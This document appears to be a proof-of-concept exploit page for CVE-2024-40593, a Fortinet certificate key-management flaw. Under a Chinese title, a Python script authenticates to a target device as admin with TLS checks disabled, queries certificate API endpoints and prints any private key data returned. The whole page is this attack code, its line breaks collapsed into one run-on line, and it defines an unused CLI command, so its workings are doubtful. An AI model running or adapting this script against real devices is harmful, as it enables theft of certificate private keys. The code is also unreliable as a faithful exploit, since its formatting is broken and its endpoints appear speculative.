CVE-2024-40593 Fortinet密钥管理错误漏洞

# CVE-2024-40593 PoC - Certificate Private Key Retrieval # Note: This PoC is for educational purposes only import requests import argparse from requests.auth import HTTPBasicAuth def exploit_cve_2024_40593(target_url, username, password): """ Exploit for CVE-2024-40593: Key Management Error in Fortinet Products Allows authenticated admin to retrieve certificate's private key """ print(f"[*] Targeting: {target_url}") print(f"[*] Authenticating as: {username}") # Authentication session = requests.Session() auth = HTTPBasicAuth(username, password) # Attempt to retrieve certificate private key via admin shell # This requires CLI access through the web interface or API # Method 1: Via CLI command cli_cmd = "execute certificate local list" # Method 2: Direct API access to certificate endpoint cert_endpoint = f"{target_url}/api/v2/monitor/system/certificate/local" try: # Check if we can access certificate information response = session.get(cert_endpoint, auth=auth, verify=False, timeout=30) if response.status_code == 200: cert_data = response.json() print("[+] Successfully retrieved certificate information") # Attempt to retrieve private key private_key_cmd = f"{target_url}/api/v2/monitor/system/certificate/local/detail" pk_response = session.get(private_key_cmd, auth=auth, verify=False, timeout=30) if pk_response.status_code == 200: print("[+] VULNERABLE: Private key accessible!") print(f"[+] Private Key Data: {pk_response.text[:500]}") return True elif response.status_code == 401: print("[-] Authentication failed") else: print(f"[-] Unexpected response: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Request error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description="CVE-2024-40593 PoC") parser.add_argument("-t", "--target", required=True, help="Target URL") parser.add_argument("-u", "--username", required=True, help="Admin username") parser.add_argument("-p", "--password", required=True, help="Admin password") args = parser.parse_args() exploit_cve_2024_40593(args.target, args.username, args.password)